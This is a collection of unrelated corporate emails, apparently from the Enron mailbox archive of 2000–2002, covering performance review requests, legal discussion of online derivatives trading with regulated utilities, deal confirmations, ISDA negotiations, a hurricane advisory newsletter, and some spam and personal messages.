NOTE:  YOU WILL RECEIVE THIS MESSAGE EACH TIME YOU ARE SELECTED AS A REVIEWER.

You have been selected to participate in the Year End 2000 Performance
Management process by providing meaningful feedback on specific employee(s).
Your feedback plays an important role in the process, and your participation
is critical to the success of Enron's Performance Management goals.

To complete requests for feedback, access PEP at http://pep.corp.enron.com
and select Perform Review under Performance Review Services.  You may begin
providing feedback immediately and are requested to have all feedback forms
completed by Friday, November 17, 2000.

If you have any questions regarding PEP or your responsibility in the
process, please contact the PEP Help Desk at:

Houston: 1.713.853.4777, Option 4
London:  44.207.783.4040, Option 4
Email: perfmgmt@enron.com

Thank you for your participation in this important process.

The following is a CUMULATIVE list of employee feedback requests with a
status of "OPEN."   Once you have submitted or declined an employee's request
for feedback, their name will no longer appear on this list.

Review Group: ENRON
Feedback Due Date: Nov 17, 2000

Employee Name                   Supervisor Name                 Date Selected
-------------                   ---------------                 -------------
BRASHER, BARNEY L               RODERICK J HAYSLETT             Nov 01, 2000
BRASSFIELD, MORRIS              JOHN R KELLER                   Nov 01, 2000
CAMPOS, KATHY Y                 RODERICK J HAYSLETT             Nov 01, 2000
CENTILLI, JAMES H               RODERICK J HAYSLETT             Nov 01, 2000
CHANDLER, ROBERT F              RODERICK J HAYSLETT             Nov 01, 2000
CHERRY, PAUL R                  RODERICK J HAYSLETT             Nov 01, 2000
COBB JR, JOHN H                 JAMES M SAUNDERS                Nov 02, 2000
CONCKLIN, ELAINE F              RODERICK J HAYSLETT             Oct 31, 2000
DAILY, PAMELA G                 JAMES M SAUNDERS                Nov 02, 2000
FENSTAD, LARRY D                RODERICK J HAYSLETT             Nov 01, 2000
FOSSUM, DREW J                  MICHAEL P MORAN                 Nov 02, 2000
GEACCONE, TRACY L               RODERICK J HAYSLETT             Nov 01, 2000
GOODPASTURE, JOHN N             DANNY J MCCARTY                 Oct 27, 2000
HOTTE, STEVE                    STANLEY C HORTON                Oct 30, 2000
KEISER, JOHN L                  JAMES M SAUNDERS                Oct 30, 2000
LOWRY, CHARLES P                STANLEY C HORTON                Nov 13, 2000
MCCARTY, DANNY J                STANLEY C HORTON                Oct 30, 2000
MEYER, ROCKFORD G               STANLEY C HORTON                Oct 27, 2000
MILLER, KENT E                  DAVID M NEUBAUER                Nov 06, 2000
MILLINER, CHRISTINE A           RODERICK J HAYSLETT             Oct 30, 2000
MORAN, MICHAEL P                STANLEY C HORTON                Oct 30, 2000
PETERS, JERRY L                 RODERICK J HAYSLETT             Oct 30, 2000
ROPER, KERWIN K                 JAMES PRENTICE                  Oct 26, 2000
ROSENBERG, DAVID E              JAMES M SAUNDERS                Nov 01, 2000
SAUNDERS, JAMES M               RODERICK J HAYSLETT             Oct 30, 2000
SCHROEDER, ANDREA M             JAMES M SAUNDERS                Nov 01, 2000
STERN, ELLIS                    RODERICK J HAYSLETT             Oct 27, 2000
SULLIVAN, MICHAEL D             STEVE HOTTE                     Oct 27, 2000
SUTTON, LISA K                  JAMES M SAUNDERS                Nov 13, 2000
TU, DENIS C                     JAMES M SAUNDERS                Oct 27, 2000
VILLELA, JOE I                  RODERICK J HAYSLETT             Nov 01, 2000


Mark -- we need to discuss when you have a moment.

Travis McCullough
Enron North America Corp.
1400 Smith Street EB 3817
Houston Texas 77002
Phone:  (713) 853-1575
Fax: (713) 646-3490
----- Forwarded by Travis McCullough/HOU/ECT on 11/07/2000 01:56 PM -----

	"Joe Wright" <joe.wright@truequote.com>
	11/07/2000 01:32 PM

		 To: <travis.mccullough@enron.com>
		 cc: "Chris Edmonds"@carvey.adgrafix.com
		 Subject: Provisions relating to enrononline link in Posting Agreement

Travis,

Attached is a revised section of our Access Agreement relating to the
enrononline link.  The language is that provided by Enron that you wanted us
to contain in our agreement.  However, the CFTC wants revisions to this part
as shown by the redlined changes before the No-Action Letter will issue.
Please review and get back to me.

Also, during our conversation with the CFTC today we were again asked the
status of the representations we must make re insider trading and any
potential disqualifications re 10% investors.  Please let me know as soon as
possible whether Enron has any problem with this.

Joe Wright

 - enronsectionrevised.doc


These are both fine.  Thank you.

Kimberly Hundl@ENRON
12/06/2000 07:36 AM
To: Veronica Gonzalez/HOU/ECT@ECT, Edward Sacks/Corp/Enron@Enron, Tracy
Ngo/PDX/ECT@ECT
cc: Elizabeth Sager/HOU/ECT@ECT

Subject: Deals #474086, & #474034

Please review these deals for credit approval.

Thanks!
Kim


The difficulty is in knowing which entites are regulated and which are not.
For instance, ENA is an "unregulated" affiliate of a regulated utility
(PGE).  But many utilities have energy services companies affiliates which,
while not regulated utilities like San Diego Gas & Electric, are nevertheless
heavily regulated.  We have tried to figure out what we can in the time
available and have relied on readily available public inofrmation.

David Forster
10/14/99 08:48 AM
To: Mark Taylor/HOU/ECT@ECT
cc:
Subject: Online Derivatives Trading with Regulated Utilities

Mark,

Does the legal precedent which we previously discussed, apply to subsidiaries
of utilities as well as the utilities themselves?

Dave
---------------------- Forwarded by David Forster/LON/ECT on 14/10/99 14:47
---------------------------

	Enron Capital & Trade Resources Corp.

	From:  Tana Jones                           14/10/99 00:08

To: David Forster/LON/ECT@ECT
cc: Louise Kitchen/LON/ECT@ECT, Bob Shults/HOU/ECT@ECT, Mark
Taylor/HOU/ECT@ECT
Subject: Online Derivatives Trading with Regulated Utilities

As far as your email questions, my responses are following:

1.  The list I have provided you is the only list that exists on financial
counterparties.  There is no Excel spreadsheet to follow.
2.  Duke Energy Corporation.  At Mark's direction, I am sending his note
below regarding utilities.  Again, until we do the due diligence on a utility
counterparty we have no way of knowing what kind of local, state or federal
regulation or approvals they may be subject to.   We currently have masters
in place with only about 10 utilities/govt's.  We are in the process of
negotiating another 30.  Until those masters are executed and we have the
relevant resolutions, authority documents and/or legal opinions, I cannot
approve them for online trading.  I have made every effort to search company
websites and elicit from Credit whether a counterparty is a regulated utility
or not.  If I cannot tell by the information available to me, additional due
diligence will be needed to see if they are subject to local, state, or
federal regulation.   Mark can override any decision I have made, I can only
make decisions within the guidelines the attorneys have set for me.
3.  Montana Power Trading and Marketing Company is a subsidiary of a
regulated utility.  I am unable to determine from Credit or their website
what type of regulation they might be subject to.  The note is true that
Credit says they are getting out of the business anyway.
4.  Petrotemex.   Per my conversations with Mark and our advice from counsel,
unlike U.S. and U.K. counterparties, Mexican counterparties are not able to
enter into derivative transactions unless their articles and bylaws
specifically provide for these types of transactions.  We will not know this
until the due diligence is completed, so I am supposed to say "no" for
Mexican counterparties we do not have a master swap agreement in place with.
5.  PSEG. It is an energy services company; however, it is also not an
eligible swap participant (or "ESP").  CFTC regulation limits the derivatives
trading we may do to certain types of counterparties that meet certain
financial requirements (large, institutional type investors, companies,
banks, etc).  Corporations and partnerships have to meet certain net worth
and asset levels or we cannot trade financially with them.  Whenever I say
"not ESP" or "not eligible swap participant" it means they have not met the
financial net worth test.
6.  The American Coal Company.  See prior note.

---------------------- Forwarded by Tana Jones/HOU/ECT on 10/13/99 04:21 PM
---------------------------

	From:  Bob Shults                           10/12/99 10:15 AM

To: Tana Jones/HOU/ECT@ECT
cc:
Subject: Online Derivatives Trading with Regulated Utilities

Does this mean that we have 10 utilities that are approved to trade?  What
are we doing with the other 30-40?
---------------------- Forwarded by Bob Shults/HOU/ECT on 10/12/99 10:14 AM
---------------------------
To: Louise Kitchen/LON/ECT@ECT
cc: Tana Jones/HOU/ECT@ECT, Debbie R Brackett/HOU/ECT@ECT, William S
Bradford/HOU/ECT@ECT, David Port/LON/ECT@ECT, Bob Shults/HOU/ECT@ECT, David
Forster/LON/ECT@ECT, Sara Shackleton/HOU/ECT@ECT
Subject: Online Derivatives Trading with Regulated Utilities

We have not decided "to prevent any regulated utility from completing any
financial transactions" online.  If we have already satisfactorily concluded
the necessary due diligence with respect to a particular utility, they will
be approved.  It is only with respect to those utilities which have not yet
been researched that we are withholding approval.  The due diligence required
involves asking the utility for certain information concerning their
organization and regulatory situation, hiring local counsel in the relevant
state and having research done into the laws and regulations in place there
and into any public utility commission orders respecting the particular
utility in question, and on occasion requesting an opinion letter from the
utility's counsel.  We usually begin that process only when a trader believes
there is a likelihood of a sufficient volume of trading with the utility to
justify the time and expense.  FYI, the due diligence process has in the past
revealed circumstances which prevented the utility from trading derivatives
or required actions to authorize such trading which had not been taken.

A recent count showed about 10 executed master agreements and another 30 to
40 in one stage or another of the due diligence/negotiation process.

Louise Kitchen
10/06/99 02:46 PM
To: Mark E Taylor/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT
cc: Debbie R Brackett/HOU/ECT@ECT, William S Bradford/HOU/ECT@ECT, David
Port/LON/ECT@ECT, Bob Shults/HOU/ECT@ECT, David Forster/LON/ECT@ECT
Subject: Customer Data

On Friday we will be receiving the remaining customer list from credit, due
to the timescales I am asking for turnaround on the customer matrix and
master agreement review by the end of play Tuesday 12th October.

Any problems with this please notify me immediately as we are now running up
against very tight deadlines in terms of getting all of the information in
the system for the launch schedule.

Thanks

Louise

Mark,
On another note we are requesting a review of the blanket decision which has
been made to prevent any regulated utility from completing any financial
transactions, if we are not prepared to do the due diligence on which ones
can transact and which ones can not - is this our responsibility or theirs?
ie their decision whether to trade or not.
Louise


do i have to wear a tux or a suit


Follow Olga as it brings swells to the Caribbean and the U.S. coast
with news updates, satellite and radar images, forecast maps,
and message board: http://www.GoPBI.com/storm?tag=e_1126

000
WTNT32 KNHC 270248
TCPAT2
BULLETIN
HURRICANE OLGA ADVISORY NUMBER	10
NATIONAL WEATHER SERVICE MIAMI FL
11 PM AST MON NOV 26 2001

...OLGA STRENGTHENS...

AT 11 PM AST...0300Z...THE CENTER OF HURRICANE OLGA WAS LOCATED NEAR
LATITUDE 32.4 NORTH...LONGITUDE 56.2 WEST OR ABOUT 495 MILES...795
KM...EAST OF BERMUDA.

OLGA IS MOVING TOWARD THE NORTH NEAR  8 MPH...13 KM/HR.  A
SLOW...ERRATIC MOTION IS EXPECTED DURING THE NEXT 24 HOURS.

SATELLITE IMAGES INDICATE THAT THE MAXIMUM SUSTAINED WINDS HAVE
INCREASED TO NEAR  85 MPH...140 KM/HR.	SOME ADDITIONAL
STRENGTHENING COULD OCCUR ON TUESDAY.

HURRICANE FORCE WINDS EXTEND OUTWARD UP TO  25 MILES... 35 KM...
FROM THE CENTER...AND TROPICAL STORM FORCE WINDS EXTEND OUTWARD UP
TO 345 MILES...555 KM.

ESTIMATED MINIMUM CENTRAL PRESSURE IS  975 MB...28.79 INCHES.

SHIP REPORTS INDICATE A VERY LARGE AREA OF SEAS OF 12 FEET OR
GREATER ASSOCIATED WITH OLGA.  SWELLS FROM THE HURRICANE ARE LIKELY
TO AFFECT BERMUDA...PORTIONS OF THE U. S. EAST COAST...THE
BAHAMAS...AND THE ISLANDS OF THE NORTHERN CARIBBEAN FROM HISPANIOLA
EASTWARD DURING THE NEXT COUPLE OF DAYS.

REPEATING THE 11 PM AST POSITION...32.4 N...  56.2 W.  MOVEMENT
TOWARD...NORTH NEAR 8 MPH.  MAXIMUM SUSTAINED WINDS...	85 MPH.
MINIMUM CENTRAL PRESSURE...  975 MB.

THE NEXT ADVISORY WILL BE ISSUED BY THE NATIONAL HURRICANE CENTER AT
5 AM AST...TUESDAY.

FORECASTER PASCH

Make GoPBI.com's Storm Warning Center your No. 1 resource for hurricane
and tropical storm updates: http://GoPBI.com/storm

To subscribe or unsubcribe from this list, visit our Web site:
http://GoPBI.com/storm/email

DO NOT REPLY to this email. If you have questions or comments,  send
them to storm@cimedia.com

Brought to you by GoPBI.com: http://GoPBI.com

You can contact us by mail or telephone at:
GoPBI.com
2751 South Dixie Highway
West Palm Beach FL 33405
(561) 820-3700

Copyright 2001 Cox Interactive Media


[IMAGE]
   [IMAGE] [IMAGE] [IMAGE] [IMAGE] [IMAGE] [IMAGE] [IMAGE] PATRICE MIMS [IMAGE]   [IMAGE] [IMAGE] Delivery Paid By Sender [IMAGE]   [IMAGE] [IMAGE] PATRICE --025567/JCR [IMAGE]   [IMAGE]   [IMAGE] [IMAGE]  [IMAGE] [IMAGE]    PLEASE DO NOT INTERRUPT THE DELIVERY OF THIS IMPORTANT EMAIL TO THE INTENDED RECEIVER. DIRECT RESPONSE IS NOW EXPECTED.CLICK HERE!  [IMAGE]  [IMAGE] [IMAGE] [IMAGE] [IMAGE] [IMAGE] [IMAGE]   [IMAGE] [IMAGE] Genuine Diamond Award Recipient [IMAGE]   [IMAGE] [IMAGE] [IMAGE] [IMAGE]    [IMAGE]      Final Notice of  Genuine Diamond Award   For Your Free Present Customers      PATRICE,   I'm a little confused... Why haven't you claimed your Free* Diamond Award?  Due to the nature of this offer, we must limit the limit the amount of people we tell. Please know that this could be your FINAL NOTICE!  We are giving away a Million Dollars worth of Diamonds and you have been selected to qualify as a lucky recipient. We cannot spend any more of our money trying to convince you to take this opportunity, and register to win the grand prize three carat diamond solitaire necklace valued at $25,000.00.  Click here to claim your Free* Diamond Jewelry and get automatic entry for the $25,000.00 grand prize diamond! [IMAGE] ************** REMINDER ************** If you do not act on this official notice, your award will be forfeited.
 *This free gift offer is not available to CA State residents. This One Million Dollar Deal On A Diamond Giveaway consists of a sweepstakes offering one winner a Grand Prize of a 3 ct. Diamond Solitaire Necklace worth $25,000.00. No purchase necessary to enter or win. Odds of winning depend on number of entries received. In addition, up to 48,750 entrants may claim a FREE genuine Diamond jewelry with a retail value of $20.00 for a $4.99 shipping and handling charge (we reserve the right to increase the number of diamond giveaways). Click here for complete contest rules and privacy policy.


There are 4 deals for Northern CA Power Agency and they have wonderful notes
about confirming them together.  However, I need a contact name, and isn't
NCPA on the credit watch list?

Thanks!


Developing Enterprise Applications using the Java language is not for the
weak at heart. What application server should you choose? Which tools should
you develop in?

AppDev's new self-study "Java 2 Enterprise Edition" (J2EE) training course -
featuring industry expert Campbell Gunn - will answer these questions and
more as you learn to create robust enterprise applications using Java. Visit
http://www.appdev.com/promo/EB00059 or read on to learn more about our J2EE
course and how you can save 25%!

In this course, you will learn to:
** Understand the tools and technologies of the Java 2 Enterprise Edition
Software Development Kit (SDK).
** Understand how to design and implement an Enterprise Application using
the Java 2 Language.
** Use the tools within the SDK to provide rapid development and deployment.
** Understand the characteristics of what makes an enterprise application
scalable, reliable, and secure.
** Use techniques such as transaction management, packaging and deployment.
** Understand how the J2EE platform can support multiple operating systems,
such as Red Hat Linux and Microsoft's Windows 2000 Server products.
** And more!

Visit http://www.appdev.com/promo/EB00059 to view a detailed course outline.

For a limited time, you can get our six-video J2EE course, retail priced
$480, for JUST $360 - that's a savings of 25%! (Not valid with any other
offer. J2EE videos are scheduled to ship on 10/31/01.)

Hurry - this special offer on our J2EE training ends on 10/31/01. Your
satisfaction is guaranteed, so order today at
http://www.appdev.com/promo/EB00059 or call us at 1-800-578-2062.

Sincerely,
AppDev Training

Martin Schaeferle
Director of IT & Product Development

P.S. AppDev offers video and CD-ROM training courses for a variety of
developer tools and technologies including Visual Studio .NET, ASP.NET,
Microsoft SQL Server, Visual Basic, XML, XSLT, and more. Visit
http://www.appdev.com for details.

Do you prefer a classroom training experience?  AppDev offers instructor-led
training for several of our developer training courses. Our classes are
taught by nationally recognized industry experts and held in key locations
across the U.S. For our class schedule and complete course outlines, visit
http://www.appdev.com

======================= RIGHT TO PRIVACY============================
AppDev email is never sent unsolicited. You are receiving this email
because you are a past customer of AppDev Training Company or have
voluntarily provided your email address to us via our web site at
http://www.appdev.com.  Your right to privacy is important to us. If you
have any questions regarding this message, please email
privacy@appdev.com or visit http://www.appdev.com/privacy for a copy of
our privacy statement.

======================== UNSUBSCRIBE ==============================
Some developers prefer not to hear about the latest course offerings and
special promotions. If you feel this way, you can have your name removed
from our email mailing list. Follow the instructions below to remove
yourself from our list.  We currently have you listed as
<*msanche2@ect.enron.com*>. Simply reply to this message and type REMOVE in
the subject line of your reply, or click
http://www.appdev.com/removeme.asp?E=msanche2@ect.enron.com&S=EB00059


---------------------- Forwarded by Judy Hernandez/HOU/ECT on 10/04/2000
08:28 AM ---------------------------

Angela Barnett
10/03/2000 01:54 PM
To: lsharis@msn.com, lallen@patroithomes.com, kttn0965@aol.com,
Topey0661@aol.com, dpepplejes@netscape.net, Mok66@aol.com, Judy
Hernandez/HOU/ECT@ECT, kkjohnson@velocityexp.com, Debby_Darnell@eott.com,
McJenjil@aol.com, Hhrk23@aol.com, Lois Ford/NA/Enron@ENRON, Diane
Salcido/Corp/Enron@Enron
cc:
Subject: FW: Children

---------------------- Forwarded by Angela Barnett/HOU/ECT on 10/03/2000
01:49 PM ---------------------------

"Curley, Kim" <KCurley@tmh.tmc.edu> on 10/03/2000 01:00:38 PM
To: "'ANGELA.BARNETT@ENRON.COM'" <ANGELA.BARNETT@ENRON.COM>
cc:
Subject: FW: Children

> -----Original Message-----
> From: loretta-henry@reliantenergy.com
> [SMTP:loretta-henry@reliantenergy.com]
> Sent: Tuesday, October 03, 2000 12:51 PM
> To: Nikki V Carter; Curley, Kim; R Fitzgerald;
> Shannon_Henderson@mail.bankone.com
> Subject: Children
>
>   To my child(ren).....
>
>   Just for the morning, I am going to smile
>   when I see your face
>   and laugh when I feel like crying.
>
>   Just for this morning, I will let you
>   choose what you want to wear,
>   and smile and say how perfect it is.
>
>   Just for this morning, I am going to step
>   over the laundry, and pick you up
>   and take you to the park to play.
>
>   Just for this morning, I will leave the
>   dishes in the sink, and let you
>   teach me how to put that puzzle of yours together.
>
>   Just for this afternoon, I will unplug the
>   telephone and keep the computer off,
>   and sit with you in the backyard and
>   blow bubbles.
>
>   Just for this afternoon, I will not yell
>   once, not even a tiny grumble when you scream
>   and whine for the ice cream truck, and I will buy
>   you one if he comes by.
>
>   Just for this afternoon, I won't worry
>   about what you are going to
>   be when you grow up, or second guess every decision
>   I have made where you are concerned.
>
>   Just for this afternoon, I will let you
>   help me bake cookies, and I won't
>   stand over you trying to fix them.
>
>   Just for this afternoon, I will take us to
>   Mc Donald's and buy us both a
>   Happy Meal so you can have both toys.
>
>   Just for this evening, I will hold you in
>   my arms and tell you a story about
>   how you were born and how much I love you.
>
>   Just for this evening, I will let you
>   splash in the tub and not get angry.
>
>   Just for this evening, I will let you stay
>   up late while we sit on the porch
>   and count all the stars.
>
>   Just for this evening, I will snuggle
>   beside you for hours, and miss
>   my favorite TV shows.
>
>   Just for this evening when I run my finger
>   through your hair as you pray,
>   I will simply be grateful that God has
>   given me the greatest gift
>   ever given.
>
>   I will think about the mothers and fathers who are
>   searching for their missing children,
>   the mothers and fathers who are visiting their
>   children's graves instead of their bedrooms,
>   and mothers and fathers who are in
>   hospital rooms watching their children suffer senselessly,
>   and screaming inside they can't handle it anymore.
>
>   And when I kiss you goodnight I will hold
>   you a little tighter, a little longer. It is then,
>   that I will thank God for you, and ask him for
>   nothing, except one more day.............
>
>   Please pass this on to other mothers and fathers.  I
>   think that we get too involved in our daily routines that we tend
>   to forget what great gifts our children really are.
>


Brenda Funk
(713) 853-6950
(713) 853-9252 (fax)
----- Forwarded by Brenda L Funk/HOU/ECT on 11/10/2000 04:13 PM -----

	Treasa Kirby
	11/10/2000 11:18 AM

		 To: Stephen Jacobson/EU/Enron@Enron, Stephen Dwyer/LON/ECT@ECT, Marcus Von
Bock Und Polach/LON/ECT@ECT, Brenda L Funk/HOU/ECT@ECT, Debbie
Nicholls/LON/ECT@ECT
		 cc:
		 Subject: New fax received (Likely sender: ).

Attached is the Master ISDA which TD wish to use.

Treasa
---------------------- Forwarded by Treasa Kirby/LON/ECT on 10/11/2000 17:16
---------------------------

London Fax System
10/11/2000 17:07
To: Treasa Kirby/LON/ECT@ECT
cc:

Subject: New fax received (Likely sender: ).

You have received a new fax from

The image contains 31 page(s).


Power of Communication Program
* IMMEDIATE ACTION REQUIRED - Do Not Delete *

As part of the Power of Communication Program, each participant
is asked to gather input on the participant's own management styles and
practices as experienced by their immediate manager, each direct report,
and up to eight peers/colleagues.

You have been requested to provide feedback for a participant attending
the next program.  Your input (i.e., a Self assessment, Manager assessment,
Direct Report assessment, or Peer/Colleague assessment) will be combined
with the input of others and used by the program participant to develop an
action plan to improve his/her management styles and practices.

It is important that you complete this assessment
NO LATER THAN CLOSE OF BUSINESS Tuesday, September 12.

Since the feedback is such an important part of the program, the participant
will be asked to cancel his/her attendance if not enough feedback is
received.  Therefore, your feedback is critical.

To complete your assessment, please click on the following link or simply
open your internet browser and go to:

http://www.fsddatasvc.com/enron

Your unique ID for each participant you have been asked to rate is:

Unique ID - Participant
EHBQ37    - Cindy Olson

If you experience technical problems, please call Dennis Ward at
FSD Data Services, 713-942-8436.  If you have any questions about this
process,
you may contact Debbie Nowak at Enron, 713-853-3304, or Christi Smith at
Keilty, Goldsmith & Company, 858-450-2554.

Thank you for your participation.


Hey Pavarotti,

Hope you day is going well and that everything is coming together for the big
presentation tomorrow.  My day is going significantly better than yesterday
so I am pleased.  Plus, my friend just emailed me from San Diego to inform me
that she can get us a great table to see the Symphony's last performance of
the season on Navy Pier...so I've got that going for me, which is nice.  By
the way, what did you end up deciding to do about this weekend - or haven't
you decided yet (the latter would not surprise me in the least...you're a fly
by the seat of your pants kind of guy or a slight procrastinator - - I always
get the two confused).

Now for the rule-breaking.  I realize it's already Wednesday but I wanted to
see if you had any interest in going to grab a bite to eat or just a drink
after work tomorrow or Friday night (in light of our heavy work loads, etc. I
hope you can forgive my rudeness).  Both you and Darren looked pretty whipped
last night and I'm sure tonight will be more of the same...You better be
careful, I think this project is starting to give you gray hair.

Shorty

- - I forgot to tell you last night that my 5 yr. old niece got in trouble on
the way to school yesterday because she punched a little boy in the eye.
Evidently, he was bothering she and her friend Reagan...I think my sister's
biggest fears have now been confirmed, little Sally may have taken after her
Aunt Sue Sue a little too much.


Darren - Just got this (sorry its late but had to wait for Equistar to give this to me)
Can you give me deal numbers so I can confirm it. Thanks - Julie

Equistar

D	1373	Channel			10 	greater of 4.07 or 1- .20
D	1373	Channel			  5	greater of 3.30 or 1- .20
D	1373	Channel			  2	greater of 2.20 or 1- .05

D	8024	Bayport Polymers	3	greater of 2.20 or 1- .05

D	1399	Matagorda Polymars	4	greater of 2.20 or 1- .05

D	1552	QE1 @ Laporte		5	greater of 2.68 or 1 -.10
D	1552	QE1 @ Laporte		5	greater of 3.30 or 1- .20

D	1062	Port Arthur		1 	greater of 2.20 or 1- .05

D	1384	Chocolate Bayou	10	greater of 2.23 or 1- .05
__________________________________________
Subtotal				45

Third Party
1373
Phllips					3
Sempra					15
N.E.T.					10

1552
Morgan and Stanley			5
___________________________________________
Sub total				33
___________________________________________
Grand total				78


Jim:

Are you looking solely for Enron Corp. executory contracts?

We can identify the Enron Corp. ISDA Master Agreements (which are safe harbor contracts under the Code) as well as securities contracts (also safe harbor contracts).  Please be a bit more specific.

Thanks.  Sara

 -----Original Message-----
From: 	Armogida, Jim
Sent:	Friday, March 08, 2002 9:54 AM
To:	Goebel, Peter; Moore, Tom; Borgman, Laine; Freeland, Clint; Shackleton, Sara
Subject:	FW: executory contracts

In rereading my original email, which is below, I see that I misspoke---please delete in your mind the words I have put in bold letters below and ignore them.  Thanks again.

 -----Original Message-----
From: 	Armogida, Jim
Sent:	Friday, March 08, 2002 9:38 AM
To:	Goebel, Peter; Moore, Tom; Borgman, Laine; Freeland, Clint; Shackleton, Sara
Subject:	executory contracts

There is a requirement to identify all executory contracts--that is all contracts that are currently active and still have performance required by one party or the other(s).  You each have probably already been asked to list those for somebody as part of the gathering effort.  If you have not, I am asking that.

Would you please let me know whether you have already engaged in this effort and provided the information or, if that is not the case, give me a list of those types of contracts that you know of [or tell me where I can go---maybe I shouldn't have started that way (joke)--to get such a list]?

Thanks.  I appreciate it.


Dawne,

I looked at the Gas Daily swaps and they look good.  QV0345 booked as a June
deal instead of May 01.  The NYMEX swap booked with NXB2 as the expiration.
If I'm not mistaken, the swaps should be NX1.

Thanks,

Errol

From: Dawn C Kenne/ENRON@enronXgate on 04/23/2001 05:45 PM
To: Errol McLaughlin/Corp/Enron@ENRON, Kathy Reeves/CAL/ECT@ECT
cc: Jeffrey C Gossett/HOU/ECT@ECT, Torrey Moorer/ENRON@enronXgate, Tara
Sweitzer/ENRON@enronXgate

Subject: Test deals for your review

The tagg team has made some changes to the bridge.  Please review the
following deals in tagg stage and let me know if they meet to your approval.

US Gas Daily Swaps
BOM  - gas daily - MichCon GD/D    QV0353
May 01 - gas daily - HeHub GD/D QV0345
Jun 01  -  gas daily -  HeHub GD/D QV0352

Canadian Gas Daily Swap
May 01  - gas daily - EOL Aeco Daily QV0344

Nymex Swap
Oct 01 - price swap- Nymex  QV0355

Please let me know at your earliest convenience if everything looks alright.

Dawn
3-9353


Jeff/Sue--I keep hearing conflicting reports on whether Riordan is really going to run....what's the read in California?

 -----Original Message-----
From: 	Dasovich, Jeff
Sent:	Wednesday, October 17, 2001 3:23 PM
To:	Mara, Susan; Shapiro, Richard; Kaufman, Paul; Steffes, James D.; Landwehr, Susan M.
Subject:	RE: Riordan contact with WPTF

Ridota's a tough customer.  Very political type--knee-capper from the Wilson administration who was involved in the conflicts between Fessler and Knight, large customers and utilities, etc.  DA and Dereg done right (i.e., California never de-regulated) sound good.  May want to add the great job Davis did at locking a generation of Californians into $46 billion of contracts.  Maybe, on the energy issue, Riordin wants to look like a statesman, saying that if he were governor, he'd get everyone to the table to settle this thing once and for all--law suits, bad DWR contracts, ensuring customers have choices.

 -----Original Message-----
From: 	Mara, Susan
Sent:	Wednesday, October 17, 2001 2:28 PM
To:	Shapiro, Richard; Kaufman, Paul; Dasovich, Jeff; Steffes, James D.; Landwehr, Susan M.
Subject:	Riordan contact with WPTF

Gary Ackerman was contacted by the campaign and agreed to meet with them on the 22nd. He will meet with Joe Ridota who is responsible for energy policy.  Gary would like some direction -- I'll be chatting with Gary on DA and let's do deregulation right.  ANything else you'd like to me pass along?


Kay,
Received the signature page by Fed-Ex today.  It will be served/filed by mail first thing tomorrow.  (As I suspected, the fax version went to a satellite machine upstairs and has also been located).
Ryan

_______________________________________________________________

The information contained in this transmission may contain

privileged and confidential information. It is intended only

for the use of the person(s) named above. If you are not the

intended recipient, you are hereby notified that any review,

dissemination, distribution or duplication of this

communication is strictly prohibited. If you are not the

intended recipient, please contact the sender by reply email

and destroy all copies of the original message.

To reply to our email administrator directly, please send an

email to postmaster@gtlaw.com.


Hourly Power Launched on ICE Tomorrow!!

As a reminder, IntercontinentalExchange will be launching Hourly Power tomorrow for all hubs currently traded in the West as well as PJM in the East.  All commissions for Hourly transactions will be waived for one month.  Effective December 1, traders will pay a flat fee of $4.00 per side for each trade.  Please call your ICE representative with any questions.

24-hour Help Desk  770-738-2101


EEMC

		Pre-petition*		Post-Petition**			Total
PG&E	           $15,285,023		$2,937,591		       $18,222,614
SCE		$8,003,979		$1,507,982 		       $ 9,511,961
Total	          $23,289,002		$4,445,573		       $27,734,575

*DA Bills with a due-date to 12/02/01 inclusive
**DA Bills with a due-date after 12/02/01


O'Neal,

The following volume changes were made today:

Deal #  Meter #  Zone From To Effective

439825 9797   6 626 1000 3/24-3/31

439837 3543   3 808 1000 3/24-3/31

377169 9842   7 8034 0 3/23-3/26

Bob


Kay:  What is this all about?  I don't know anything about "ENOVATE" .  Is it
an Enron company?  Sara.
----- Forwarded by Sara Shackleton/HOU/ECT on 09/28/2000 10:11 AM -----

	Steven Curlee@ENRON
	09/28/2000 09:29 AM

		 To: Sara Shackleton/HOU/ECT@ECT
		 cc:
		 Subject: FW: Enovate/PEC ISDA Materials

Sara, I am forwarding this to you because as you will notice your last name
has been misspelled.  I have been speaking with Peoples recently about the
potential sale of some financial options via Enovate.  This has brought up to
issue of the ISDA agreement.  I don't know if you are the one working on this
specific ISDA, but I got your name off a document showing you as the person
working in general on ISDA agreements between Enovate and third parties.

I will call shortly to insure you receive this, and one more to follow, and
that you are the appropriate person.  If you need to reach me, my extension
is 36900.

Thanks,

Steve
---------------------- Forwarded by Steven Curlee/Corp/Enron on 09/28/2000
09:19 AM ---------------------------

b.marozas@pecorp.com on 09/27/2000 05:37:59 PM
To: Sara.shackelton@enron.com
cc: Steven.Curlee@enron.com

Subject: FW: Enovate/PEC ISDA Materials

Sara,

We were trying to finalize the ISDA between PEC and Enovate.
Fred is going to be out of the office until Thursday, but I wanted to
forward the ISDA information he has been working on.
Based on the ISDA materials attached, do you know how close (best quess:
number of days, weeks or months) we are to finalizing the contract?

Thanks,
Brian

 <<MEH Schedule to Master Agreement v.1.doc>>  <<MEH-PEC Paragraph 13 to
Credit Support.doc>>

 <<MEH-PEC ISDA.doc>>  <<MEH-PEC Credit Support Annexy-bi.doc>>

 <<MEH-PEC Paragraph 13 Exhibit A.doc>>

  ----------
  From:  Jacobsen, Fred
  Sent:  Tuesday, September 26, 2000 10:43 AM
  To:  Marozas, Brian; Huprikar, Aparna
  Cc:  Nassos, John G.; Pokorny, Judy
  Subject:  Enovate/PEC ISDA Materials

  Attached please find drafts of the following ISDA documents
to be entered into between Enovate, L.L.C. and Peoples Energy Corporation:

  1. Schedule to Master Agreement
  2. Paragraph 13 to Credit Support Annex
  3. Exhibit A to Paragraph 13 to Credit Support Annex
  4. ISDA Master Agreement
  5. ISDA Credit Support Annex.

  Brian, please forward to me the contact information for the
person handling the negotiation of these documents on behalf of Enron.
Thank you, Fred.

  <<File: MEH Schedule to Master Agreement v.1.doc>><<File:
MEH-PEC Paragraph 13 to Credit Support.doc>>

  <<File: MEH-PEC ISDA.doc>><<File: MEH-PEC Credit Support
Annexy-bi.doc>>

  <<File: MEH-PEC Paragraph 13 Exhibit A.doc>>

----------------------------------------------------------------
The information transmitted is intended only for the person
or entity to which it is addressed and may contain confidential
and/or privileged material.  Any review, retransmission,
dissemination or other use of, or taking of any action in
reliance upon, this information by persons or entities other than the
intended recipient is prohibited.   If you received this in error, please
contact the sender and delete the material from any computer.

 - MEH Schedule to Master Agreement v.1.doc
